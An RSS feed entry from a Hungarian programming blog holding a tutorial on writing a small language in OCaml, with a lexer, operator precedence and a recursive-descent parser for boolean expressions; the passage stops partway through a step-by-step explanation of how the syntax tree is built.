<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="/static/feed.xsl?v=630b5fee" type="text/xsl"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
    <channel>
        <title>deadlime</title>
        <description>Web, programozás, halott citrusfélék.</description>
        <lastBuildDate>Tue, 05 May 2026 10:51:29 +0000</lastBuildDate>
        <language>hu</language>
        <link>https://deadlime.hu/</link>
        
            <item>
            <title>A rekurzív ereszkedés</title>
            <link>https://deadlime.hu/2026/05/05/a-rekurziv-ereszkedes/</link>
            <pubDate>Tue, 05 May 2026 10:40:06 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[OCaml]]></category>
                    <category><![CDATA[programozás]]></category>
                    
            <guid isPermaLink="false">059a51c95ac85f6876b85c812cec1b85</guid>
            <description>Bejárni a szintaxis erdőt, elmerülni a rekurzió mélységeiben</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/mandelbrot.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Keltél már fel úgy reggel, hogy kedved lenne írni egy programozási nyelvet? Nem? Az azért elég fura. De nem azért vagyunk most itt, hogy megvitassuk kinek hol siklott félre az élete, írjunk inkább egy programozási nyelvet!</p>
<p>A programozási nyelv írás remek lehetőség lappangó istenkomplexusunk kiélésre, mivel teremthetünk egy világot a saját szabályaink szerint. Nem szereted, ha az <code>if</code> után valaki új sorba írja a kapcsos zárójelet? Dobjál rá syntax error-t! Kiráz a hideg a camel case-es függvény nevektől? Tiltsd be őket! Valami fura oknál fogva azt szeretnéd, hogy az összes változó <code>$</code> jellel kezdődjön? Itt van rá a remek lehetőség!</p>
<p>Egy ilyen volumenű projekt rengeteg előzetes tervezéssel indul, kezdve azzal, hogy milyen problémát akarunk megoldani az új nyelvvel, egészen az olyan apró részletekig, mint hogy hogyan működik a változók láthatósága vagy hogy legyen-e külön operátor string-ek összefűzésére. Ezt mi most mind kihagyjuk és rögtön belevágunk a közepébe... vagy valamelyik részébe. Nem tudom, mivel nem terveztük meg.</p>
<h3>Tartalom</h3>
<ol start="0">
<li><a href="#0">Első lépések</a></li>
<li><a href="#1">A lexikális elemző</a></li>
<li><a href="#2">Operátorok</a></li>
<li><a href="#3">Műveleti sorrend</a></li>
<li><a href="#4">A szintaktikai elemző</a></li>
<li><a href="#5">Utasítások</a></li>
<li><a href="#6">A kiértékelő</a></li>
<li><a href="#7">Zárójelezés</a></li>
<li><a href="#8">Számos lehetőség</a></li>
<li><a href="#9">Változók</a></li>
<li><a href="#10">Vezérlési szerkezetek</a></li>
<li><a href="#11">Itt a vég</a></li>
</ol>
<p><a name="0"></a></p>
<h3>Első lépések</h3>
<p>Kezdetben vala a nyers szöveg. A karakterekből tokenek születnek, amiből növesztünk egy szintaxis fát. A fa rugalmas alapanyag, sok mindent lehet belőle csinálni, mint például natív binárist vagy virtuális gép bájt kódot, de akár rögtön le is futtathatjuk.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/parser.png" width="223" height="394" alt="" title="" loading="lazy" />
</p>

<p>Ahhoz, hogy nekiláthassunk, szükségünk lesz egy programozási nyelvre, mivel a sajátunk még messze nincs olyan állapotban, hogy saját magában meg lehessen írni. Én az OCaml-t választottam, mert szeretem olyan dolgokkal kínozni magam, amihez vajmi keveset értek. És ezt tényleg úgy kell érteni, hogy a projekt kezdetekor zéró OCaml tudással rendelkeztem és a funkcionális nyelvekről is nagyjából annyit tudtam, amennyi átszivárgott belőlük más nyelvekbe.</p>
<p>Első mérföldkőnek a boolean típus értékeinek tokenné alakítását választottam, mivel csak a <code>true</code> és a <code>false</code> értékekből áll. Rögtön válaszút elé érkeztünk. Legyenek ezek az értékek külön tokenek (<code>TTrue</code> és <code>TFalse</code>) vagy legyen egy <code>TBool</code> token, ami felvehet <code>true</code> vagy <code>false</code> értéket? Nem tűnik úgy, mintha nagy jelentősége lenne, én az utóbbival mentem:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> token =
  | <span class="hljs-type">TBool</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">bool</span>
  | <span class="hljs-type">TEOF</span>

<span class="hljs-keyword">let</span> show_token token =
  <span class="hljs-keyword">match</span> token <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TBool</span> b -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"TBool(%B)"</span> b
  | <span class="hljs-type">TEOF</span>    -&gt; <span class="hljs-string">"TEOF"</span>
</code></pre>
<p>Az OCaml szintaxisa talán egy kicsit idegen lehet, a <code>type</code>-ot én egy felokosított <code>enum</code>-nak képzeltem el, a <code>match</code> pedig egy felokosított <code>switch</code>.</p>
<p>A <code>token</code> típus fogja tartalmazni az összes tokenünket, a <code>show_token</code> pedig csak egy segéd függvény, amit a fejlesztés során használunk majd, hogy ki tudjunk dolgokat íratni a képernyőre, amíg a saját nyelvünknek nincs ilyen funkciója. Felvettünk még egy end-of-file tokent, ami a program végét hivatott jelezni.</p>
<p><a name="1"></a></p>
<h3>A lexikális elemző</h3>
<p>Avagy más néven a lexer. A komoly név egyszerű belsőt takar. A kapott nyers szöveget karakterenként beolvassa és tokeneket épít belőle. Ehhez nem árt tudni, hogy hol tartunk éppen, így definiálunk neki egy <code>struct</code>-szerű képződményt (azt hiszem az OCaml neve <code>record</code>), amiben a számunkra fontos adatokat tárolhatjuk:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">exception</span> <span class="hljs-type">LexError</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">string</span>

<span class="hljs-keyword">type</span> lexer_state = {
  src : <span class="hljs-built_in">string</span>;
  len : <span class="hljs-built_in">int</span>;
  <span class="hljs-keyword">mutable</span> pos : <span class="hljs-built_in">int</span>;
  <span class="hljs-keyword">mutable</span> line : <span class="hljs-built_in">int</span>;
  <span class="hljs-keyword">mutable</span> col : <span class="hljs-built_in">int</span>;
}
</code></pre>
<p>Az elemzés tekintetében a <code>pos</code> lesz nekünk fontos, a <code>line</code> és a <code>col</code> csak azért van, hogy barátságosabb hibaüzeneteket tudjunk generálni a felhasználóknak.</p>
<p>Definiálunk még néhány segéd függvényt, hogy egyszerűbb legyen az életünk:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> make_lexer src = {
  src;
  len = <span class="hljs-type">String</span>.length src;
  pos = <span class="hljs-number">0</span>;
  line = <span class="hljs-number">1</span>;
  col = <span class="hljs-number">1</span>;
}

<span class="hljs-keyword">let</span> step ls =
  ls.pos &lt;- ls.pos + <span class="hljs-number">1</span>;
  ls.col &lt;- ls.col + <span class="hljs-number">1</span>

<span class="hljs-keyword">let</span> step_line ls =
  ls.pos &lt;- ls.pos + <span class="hljs-number">1</span>;
  ls.line &lt;- ls.line + <span class="hljs-number">1</span>;
  ls.col &lt;- <span class="hljs-number">1</span>

<span class="hljs-keyword">let</span> current_char ls = ls.src.[ls.pos]
</code></pre>
<p>A <code>make_lexer</code> egy kezdő állapotot állít elő számunkra. A <code>step</code> egy egyszerű, soron belüli léptetés, a <code>step_line</code> párja pedig az új sorba lépés. A <code>current_char</code> visszaadja azt a karaktert, amin éppen állunk.</p>
<p>A nyelv adottságai miatt a problémák nagy részét mintaillesztéssel és rekurzióval fogjuk megoldani.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> tokenize src = 
  <span class="hljs-keyword">let</span> ls = make_lexer src <span class="hljs-keyword">in</span>

  <span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> loop tokens =
    <span class="hljs-keyword">if</span> ls.pos &lt; ls.len <span class="hljs-keyword">then</span>
      <span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
      | <span class="hljs-string">'\n'</span> -&gt;
        step_line ls;
        loop tokens
      | <span class="hljs-string">' '</span> | <span class="hljs-string">'\t'</span> | <span class="hljs-string">'\r'</span> -&gt;
        step ls;
        loop tokens
      | <span class="hljs-string">'a'</span>..<span class="hljs-string">'z'</span> -&gt;
        loop (tokenize_name ls :: tokens)
      | c -&gt;
        raise (<span class="hljs-type">LexError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected character '%c' on line %d col %d"</span> c ls.line ls.col))
    <span class="hljs-keyword">else</span>
      <span class="hljs-type">TEOF</span> :: tokens
  <span class="hljs-keyword">in</span>

  <span class="hljs-type">List</span>.rev (loop <span class="hljs-literal">[]</span>)
</code></pre>
<p>Csinálunk egy példányt a struct-unkból (<code>ls</code>) és egy rekurzív függvényt (<code>loop</code>), amit aztán meg is hívunk egy üres listával. A rekurzió addig megy, amíg a forráskód végére nem érünk, ekkor hozzáad a token lista elejéhez egy <code>TEOF</code> tokent. Valamiért a lista elejére szeretnek ebben a nyelvben pakolni, ezért kell a függvény végén megfordítanunk a listát a <code>List.rev</code> hívással.</p>
<p>Ha még nem vagyunk a fájl végén, akkor megvizsgáljuk az aktuális karaktert. Szóköz-jellegű karakterek esetén csak léptetünk, de nem fűzünk hozzá semmit a listához, ha alfabetikus adatot kapunk, akkor egy másik függvénnyel értelmezzük és hozzáfűzzük a tokenekhez, egyébként pedig hibát dobunk ismeretlen karakterre (amihez használjuk a <code>line</code> és <code>col</code> értékeinket).</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> tokenize_name ls =
  <span class="hljs-keyword">let</span> is_name_char ch = ch &gt;= <span class="hljs-string">'a'</span> &amp;&amp; ch &lt;= <span class="hljs-string">'z'</span> <span class="hljs-keyword">in</span>

  <span class="hljs-keyword">let</span> start_col = ls.col <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">let</span> start = ls.pos <span class="hljs-keyword">in</span>

  <span class="hljs-keyword">while</span> ls.pos &lt; ls.len &amp;&amp; is_name_char (current_char ls) <span class="hljs-keyword">do</span>
    step ls
  <span class="hljs-keyword">done</span>;

  <span class="hljs-keyword">let</span> name = <span class="hljs-type">String</span>.sub ls.src start (ls.pos - start) <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">match</span> name <span class="hljs-keyword">with</span>
  | <span class="hljs-string">"true"</span>  -&gt; <span class="hljs-type">TBool</span> <span class="hljs-literal">true</span>
  | <span class="hljs-string">"false"</span> -&gt; <span class="hljs-type">TBool</span> <span class="hljs-literal">false</span>
  | _       -&gt; raise (<span class="hljs-type">LexError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected name '%s' on line %d col %d"</span> name ls.line start_col))
</code></pre>
<p>A névhez addig léptetünk, amíg megfelelő karaktereket látunk (amihez definiáljuk az <code>is_name_char</code> kis segéd függvényt). Ez után a kapott pozíciók alapján kinyerjük a nevet a forrásból és megpróbáljuk értelmezni. Szerény kis nyelvkezdeményünk egyelőre a <code>true</code> és a <code>false</code> kivételével nem ért meg semmit.</p>
<p>Nincs más hátra, mint egy &quot;main&quot; függvény, amivel kipróbálhatjuk a remek lexikális elemzőnket:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-literal">()</span> =
  <span class="hljs-keyword">let</span> src = {|<span class="hljs-literal">true</span> <span class="hljs-literal">false</span>
<span class="hljs-literal">true</span>
<span class="hljs-literal">true</span> <span class="hljs-literal">false</span>

<span class="hljs-literal">false</span>|} <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">try</span>
    <span class="hljs-keyword">let</span> tokens = tokenize src <span class="hljs-keyword">in</span>
    print_endline (<span class="hljs-type">String</span>.concat <span class="hljs-string">"; "</span> (<span class="hljs-type">List</span>.map show_token tokens))
  <span class="hljs-keyword">with</span> <span class="hljs-type">LexError</span> e -&gt; print_endline (<span class="hljs-string">"Fatal error: "</span> ^ e)
</code></pre>
<p>A forráskódot tokenizáljuk és a kapott tokeneket kiíratjuk a korábban definiált <code>show_token</code> függvény segítségével. Az eredmény pedig valami ilyesmi lesz:</p>
<pre class="console"><code>$ ocaml main.ml
TBool(true); TBool(false); TBool(true); TBool(true); TBool(false); TBool(false); TEOF
</code></pre>
<p>Persze előfordulhat, hogy elfelejtjük, hogy milyen tokeneket képes értelmezni a nyelvünk...</p>
<pre><code class="hljs javascript"><span class="hljs-literal">true</span> <span class="hljs-literal">false</span>
<span class="hljs-literal">false</span> <span class="hljs-literal">true</span> <span class="hljs-literal">true</span>
<span class="hljs-literal">true</span> oops <span class="hljs-literal">false</span>
<span class="hljs-literal">true</span>
<span class="hljs-literal">false</span>
<span class="hljs-literal">true</span>
<span class="hljs-literal">false</span>
</code></pre>
<p>...és kapunk egy csúnya hibát:</p>
<pre class="console"><code>$ ocaml main.ml
Fatal error: Unexpected name 'oops' on line 3 col 6
</code></pre>
<p>Ennek a lépésnek a <a href="https://github.com/deadlime/the-recursive-descent/blob/lexer/main.ml">teljes kódja megtekinthető itt</a>.</p>
<p>Bár vannak tokenjeink, az értékek megléte önmagában még nem elég összetett ahhoz, hogy legyen miből szintaxis fát növeszteni. Így szükségünk lesz még valamire, ami használja is ezeket az értékeket.</p>
<p><a name="2"></a></p>
<h3>Operátorok</h3>
<p>Kezdetnek mondjuk definiálhatnánk néhány operátort. Mehetünk a szokásos C-jellegű <code>!</code>, <code>&amp;&amp;</code>, <code>||</code> trióval, vagy mondjuk a kicsit Python-osabb <code>not</code>, <code>and</code>, <code>or</code> szavakkal. A végeredményen nem változtat, csak a lexikális elemző lesz tőle egy kicsit más. Én most az utóbbit választottam.</p>
<p>Először is szükségünk lesz új token típusokra:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> token =
  | <span class="hljs-type">TBool</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">bool</span>
  | <span class="hljs-type">TBoolAnd</span>
  | <span class="hljs-type">TBoolOr</span>
  | <span class="hljs-type">TBoolNot</span>
  | <span class="hljs-type">TEOF</span>
</code></pre>
<p>Amihez sajnos a <code>show_token</code> függvényünket is ki kell egészíteni új <code>match</code> ágakkal:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> show_token token =
  <span class="hljs-keyword">match</span> token <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TBool</span> b  -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"TBool(%B)"</span> b
  | <span class="hljs-type">TBoolAnd</span> -&gt; <span class="hljs-string">"TBoolAnd"</span>
  | <span class="hljs-type">TBoolOr</span>  -&gt; <span class="hljs-string">"TBoolOr"</span>
  | <span class="hljs-type">TBoolNot</span> -&gt; <span class="hljs-string">"TBoolNot"</span>
  | <span class="hljs-type">TEOF</span>     -&gt; <span class="hljs-string">"TEOF"</span>
</code></pre>
<p>Aztán a <code>tokenize_name</code> függvényben lekezeljük az új neveket:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">match</span> name <span class="hljs-keyword">with</span>
| <span class="hljs-string">"true"</span>  -&gt; <span class="hljs-type">TBool</span> <span class="hljs-literal">true</span>
| <span class="hljs-string">"false"</span> -&gt; <span class="hljs-type">TBool</span> <span class="hljs-literal">false</span>
| <span class="hljs-string">"and"</span>   -&gt; <span class="hljs-type">TBoolAnd</span>
| <span class="hljs-string">"or"</span>    -&gt; <span class="hljs-type">TBoolOr</span>
| <span class="hljs-string">"not"</span>   -&gt; <span class="hljs-type">TBoolNot</span>
| _       -&gt; raise (<span class="hljs-type">LexError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected name '%s' on line %d col %d"</span> name ls.line start_col))
</code></pre>
<p>A <code>not true or false and true</code> forráskóddal megfuttatva a programunkat így már az alábbi kimenetet fogjuk kapni:</p>
<pre class="console"><code>$ ocaml main.ml
TBoolNot; TBool(true); TBoolOr; TBool(false); TBoolAnd; TBool(true); TEOF
</code></pre>
<p>Ennek a lépésnek a <a href="https://github.com/deadlime/the-recursive-descent/compare/lexer..operators">módosításai megtekinthetőek itt</a>.</p>
<p>Vannak boolean értékeink és operátorok, amik kezdenek is valamit ezekkel az értékekkel, most már van miből felépíteni a fát.</p>
<p><a name="3"></a></p>
<h3>Műveleti sorrend</h3>
<p>Mielőtt belekezdenénk a konkrét feldolgozásba, érdemes egy pár szót ejteni a műveleti sorrendről, mivel a szintaktikai elemző működését és felépítését nagyban ez vezérli.</p>
<p>Általában az egy változós operátor előbb jut érvényre, mint a két változós operátor (a <code>not false and true</code> kifejezést úgy értelmezzük, hogy <code>(not false) and true</code>, bár még nincsenek zárójeleink).</p>
<p>Előfordulhat, hogy két operátor egy szinten van (például a <code>-</code> és a <code>+</code>), azok kiértékelése több módon is történhet:</p>
<ul>
<li>nem engedjük, hogy ilyen történjen (például nem akarunk olyat a nyelvünkben, hogy <code>1 &lt; 2 &lt; 3</code>, csak olyat, hogy <code>1 &lt; 2 and 2 &lt; 3</code>)</li>
<li>balról jobbra értékeljük ki (<code>1 + 2 - 3</code> az <code>(1 + 2) - 3</code>)</li>
<li>jobbról balra értékeljük ki (<code>1 + 2 - 3</code> az <code>1 + (2 - 3)</code>)</li>
</ul>
<p>Érdemes áttanulmányozni &quot;kész&quot; programozási nyelvek (<a href="https://en.cppreference.com/cpp/language/operator_precedence">például a C++</a>) műveleti sorrendre vonatkozó dokumentációját.</p>
<p><a name="4"></a></p>
<h3>A szintaktikai elemző</h3>
<p>A szintaktikai elemző (parser) fogja a tokenek listáját és megpróbálja a saját szabályai szerint értelmezni őket és építeni belőle egy szintaxis fát. Figyelembe véve a nyelv által jelenleg támogatott tokeneket, a fa elemei a következő típusokat vehetik fel:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> expr =
  | <span class="hljs-type">EBool</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">bool</span>
  | <span class="hljs-type">EBoolNot</span> <span class="hljs-keyword">of</span> expr
  | <span class="hljs-type">EBoolAnd</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">EBoolOr</span> <span class="hljs-keyword">of</span> expr * expr
</code></pre>
<p>Az <code>EBool</code> olyan, mint a <code>TBool</code>, a többinek viszont van egy olyan érdekessége, hogy paraméterként <code>expr</code> típusú dolgokat kaphatnak, így a típus is rekurzív.  Írhatunk például olyanokat, hogy <code>EBoolOr(EBoolNot(EBool(true)), EBool(false))</code>. A <code>*</code> itt nem a szorzást jelenti, csak a paraméterek elválasztó karaktere.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/ast1.png" width="281" height="196" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">A fenti kifejezés fa nézetben</p>

<p>Itt is lesz egy segéd függvényünk, hogy ki tudjuk íratni az elkészült kifejezést:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> show_expr e =
  <span class="hljs-keyword">match</span> e <span class="hljs-keyword">with</span>
  | <span class="hljs-type">EBool</span> b -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"EBool(%B)"</span> b
  | <span class="hljs-type">EBoolNot</span> e' -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"EBoolNot(%s)"</span> (show_expr e')
  | <span class="hljs-type">EBoolAnd</span> (l, r) -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"EBoolAnd(%s, %s)"</span> (show_expr l) (show_expr r)
  | <span class="hljs-type">EBoolOr</span> (l, r) -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"EBoolOr(%s, %s)"</span> (show_expr l) (show_expr r)
</code></pre>
<p>Mivel a típus rekurzív, így az <code>expr</code> típusú paraméterekre újra meg kell hívnunk a <code>show_expr</code>  függvényt. A szokásos mintaillesztés és rekurzió. Az <code>EBoolNot</code> sorában lévő <code>e'</code> nem valamilyen speciális nyelvi elem, az aposztróf is a változó nevének a része.</p>
<p>A lexikális elemzőhöz hasonlóan a szintaktikai elemzőnek is lesz egy belső állapota és néhány segéd függvénye.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">exception</span> <span class="hljs-type">ParseError</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">string</span>

<span class="hljs-keyword">type</span> parser_state = {
  <span class="hljs-keyword">mutable</span> tokens : token <span class="hljs-built_in">list</span>;
}

<span class="hljs-keyword">let</span> make_parser tokens = { tokens }

<span class="hljs-keyword">let</span> peek ps =
  <span class="hljs-keyword">match</span> ps.tokens <span class="hljs-keyword">with</span>
  | t :: _ -&gt; t
  | <span class="hljs-literal">[]</span> -&gt; <span class="hljs-type">TEOF</span>

<span class="hljs-keyword">let</span> consume ps =
  <span class="hljs-keyword">match</span> ps.tokens <span class="hljs-keyword">with</span>
  | t :: rest -&gt; ps.tokens &lt;- rest; t
  | <span class="hljs-literal">[]</span> -&gt; <span class="hljs-type">TEOF</span>
</code></pre>
<p>A <code>parser_state</code>-ben egyelőre csak a tokenjeink vannak, mire ide értünk elveszett az az információ, hogy melyik sorban és oszlopban járunk, úgyhogy egyelőre le kell mondanunk a felhasználóbarátabb hibaüzenetekről.</p>
<p>A <code>peek</code> visszaadja, hogy mi a következő token anélkül, hogy kivenné a listából. Itt megfigyelhető, hogy mennyire okos tud lenni a <code>match</code>, a <code>t :: _</code> szerkezet ismerős lehet a <code>tokenize</code>-ből, mint a lista elejére fűző operátor, de ebben a kontextusban a <code>t</code> változóba a lista első elemét fogja tenni a <code>match</code>, a lista többi részével pedig nem kívánunk foglalkozni (<code>_</code>).</p>
<p>A <code>consume</code> is visszaadja a következő tokent, de ki is szedi a listából (a lista maradéka lesz a <code>ps.tokens</code> új értéke).</p>
<p>Rá is térhetünk a konkrét értelmezésre. A műveleti sorrend, amit szeretnénk elérni:</p>
<ol>
<li>típusok értelmezése (<code>parse_primary</code>)</li>
<li>boolean <code>not</code> operátor (<code>parse_bool_unary</code>)</li>
<li>boolean <code>and</code> és <code>or</code> operátor (<code>parse_bool_expr</code>)</li>
</ol>
<p>Először a kifejezéseket fogjuk feldolgozni... mivel csak kifejezéseink vannak. És csak boolean típusunk, ezért végeredményben csak boolean kifejezéseket fogunk feldolgozni. A kódban a gyengébb operátoroktól haladunk lefelé az erősebb operátorokig.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> parse_expr ps =
  parse_bool_expr ps

<span class="hljs-keyword">and</span> parse_bool_expr ps =
  <span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> loop left =
    <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
    | <span class="hljs-type">TBoolAnd</span> -&gt;
      ignore (consume ps);
      <span class="hljs-keyword">let</span> right = parse_bool_unary ps <span class="hljs-keyword">in</span>
      loop (<span class="hljs-type">EBoolAnd</span> (left, right))
    | <span class="hljs-type">TBoolOr</span> -&gt;
      ignore (consume ps);
      <span class="hljs-keyword">let</span> right = parse_bool_unary ps <span class="hljs-keyword">in</span>
      loop (<span class="hljs-type">EBoolOr</span> (left, right))
    | _ -&gt; left
  <span class="hljs-keyword">in</span>
  loop (parse_bool_unary ps)
</code></pre>
<p>A <code>parse_expr</code>-nek nincs sok értelme, csak nem akartam, hogy egy olyan specifikus nevű függvénnyel induljon a kifejezések feldolgozása, mint a <code>parse_bool_expr</code>.</p>
<p>Az egymásra épülő rekurzív függvények az <code>and</code> segítségével vannak összefűzve. Itt a <code>tokenize</code>-ból már ismert rekurzív <code>loop</code> szerkezetet használjuk, ami megkapja a két változós operátor bal operandusát egy lentebbi szinttől. Ha talál hozzá <code>and</code> vagy <code>or</code> operátort, akkor épít egy megfelelő fa elemet és megpróbál rekurzívan további <code>and</code> vagy <code>or</code> operátorokat keresni. Ha nem sikerül, akkor visszaadja az eddig összegyűjtött dolgokat (vagy az eredeti bal operandust).</p>
<p>Érdemes itt még megjegyezni, hogy a boolean operátorok esetén tradicionálisan az <code>and</code> erősebb szokott lenni, mint az <code>or</code>. A jelenlegi implementációnk szerint viszont egy szinten vannak és balról jobbra kerülnek kiértékelésre.</p>
<p>Mivel mi vagyunk eme világ alkotói, tekinthetünk erre elvárt működésként vagy hibaként is. Utóbbi értelmezés esetén a javítás remek gyakorlási lehetőség az olvasó számára. Ehhez a <code>parse_bool_expr</code>-et kell szétszedni két szintre: a <code>parse_bool_or_expr</code> a <code>parse_bool_and_expr</code>-re hívna tovább, a <code>parse_bool_and_expr</code> pedig a <code>parse_bool_unary</code>-ra.</p>
<p>A következő szintünk az egy változós operátor (<code>not</code>):</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_bool_unary ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TBoolNot</span> -&gt;
    ignore (consume ps);
    <span class="hljs-type">EBoolNot</span> (parse_bool_unary ps)
  | _ -&gt; parse_primary ps
</code></pre>
<p>Ha találunk <code>not</code> tokent, akkor visszaadjuk a hozzá tartozó fa elemet (aminek az értéke szintén lehet egy <code>not</code> operátor vagy egy egyszerű érték), egyébként megpróbálunk egyszerű értékeket keresni.</p>
<p>Nem maradt más hátra, mint az egyszerű értékek feldolgozása:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_primary ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TBool</span> b -&gt;
    ignore (consume ps);
    <span class="hljs-type">EBool</span> b
  | t -&gt; raise (<span class="hljs-type">ParseError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected token '%s'"</span> (show_token t)))
</code></pre>
<p>Ha <code>true</code> vagy <code>false</code> következik, akkor tovább növesztjük a fát egy <code>EBool</code> elemmel, egyébként dobunk egy hibát, hogy ilyen tokenre nem számítottunk. Végül a függvény, ami ezt az egészet meghívja:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> parse_program tokens =
  <span class="hljs-keyword">let</span> ps = make_parser tokens <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">let</span> expr = parse_expr ps <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">let</span> t = peek ps <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">if</span> t &lt;&gt; <span class="hljs-type">TEOF</span> <span class="hljs-keyword">then</span>
    raise (<span class="hljs-type">ParseError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected token '%s'"</span> (show_token t)));
  expr
</code></pre>
<p>Mivel jelenleg csak egy kifejezésből áll a nyelvünk, ha a kifejezés értelmezése után maradt még token, ami nem a <code>TEOF</code>, akkor baj van.</p>
<p>Az új &quot;main&quot; függvényünkben felépítjük a fát és ki is íratjuk:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-literal">()</span> =
  <span class="hljs-keyword">let</span> src = {|not <span class="hljs-literal">true</span> <span class="hljs-keyword">or</span> <span class="hljs-literal">false</span> <span class="hljs-keyword">and</span> <span class="hljs-literal">true</span>|} <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">try</span>
    <span class="hljs-keyword">let</span> tokens = tokenize src <span class="hljs-keyword">in</span>
    print_endline (<span class="hljs-type">String</span>.concat <span class="hljs-string">"; "</span> (<span class="hljs-type">List</span>.map show_token tokens));
    <span class="hljs-keyword">let</span> ast = parse_program tokens <span class="hljs-keyword">in</span>
    print_endline (show_expr ast)
  <span class="hljs-keyword">with</span>
  | <span class="hljs-type">LexError</span> e -&gt; print_endline (<span class="hljs-string">"Fatal error: "</span> ^ e)
  | <span class="hljs-type">ParseError</span> e -&gt; print_endline (<span class="hljs-string">"Parse error: "</span> ^ e)
</code></pre>
<p>A kimenet pedig valahogy így néz ki:</p>
<pre class="console"><code>$ ocaml main.ml
TBoolNot; TBool(true); TBoolOr; TBool(false); TBoolAnd; TBool(true); TEOF
EBoolAnd(EBoolOr(EBoolNot(EBool(true)), EBool(false)), EBool(true))
</code></pre>
<p>A sok rekurzió egy kicsit össze tudja zavarni az ember lelki világát, úgyhogy ezen a ponton érdemes átgondolni, hogy hogyan is épül fel a fa.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/ast2.png" width="337" height="263" alt="" title="" loading="lazy" />
</p>

<ol>
<li>a <code>parse_bool_expr</code> meghívja a <code>parse_bool_unary</code>-t, ami megtalálja a <code>TBoolNot</code> tokent, visszaad egy <code>EBoolNot</code> elemet, aminek az értékéhez újra meghívja saját magát</li>
<li>a következő <code>TBool</code> token nem illeszkedik a <code>parse_bool_unary</code> dolgaira, így tovább csorog a <code>parse_primary</code>-ba, ahol lesz belőle egy <code>EBool</code> elem és visszaugrunk a <code>parse_bool_expr</code>-be</li>
<li>a <code>parse_bool_expr</code>-ben belépünk a <code>loop</code>-ba, ami talál egy <code>TBoolOr</code> tokent, amiből lesz egy <code>EBoolOr</code> elem, aminek a bal oldali operandusa a korábban megkapott <code>EBoolNot(EBool(true))</code>, a jobb oldali operandus kiszámításához pedig meghívja a <code>parse_bool_unary</code>-t</li>
<li>a <code>parse_bool_unary</code> nem lát egy változós operátort, úgyhogy a <code>parse_primary</code> ad vissza egy <code>EBool</code>-t és visszaugrunk a <code>loop</code>-ba</li>
<li>kész az <code>EBoolOr</code> elemünk, amit bal oldali operandusként használva újra meghívjuk a <code>loop</code>-ot</li>
<li>a <code>loop</code> talál egy <code>TBoolAnd</code> tokent, amiből lesz egy <code>EBoolAnd</code> és keres hozzá egy jobb oldali operandust a <code>parse_bool_unary</code> segítségével</li>
<li>a <code>parse_bool_unary</code> nem lát egy változós operátort, úgyhogy a <code>parse_primary</code> ad vissza egy <code>EBool</code>-t és visszaugrunk a <code>loop</code>-ba</li>
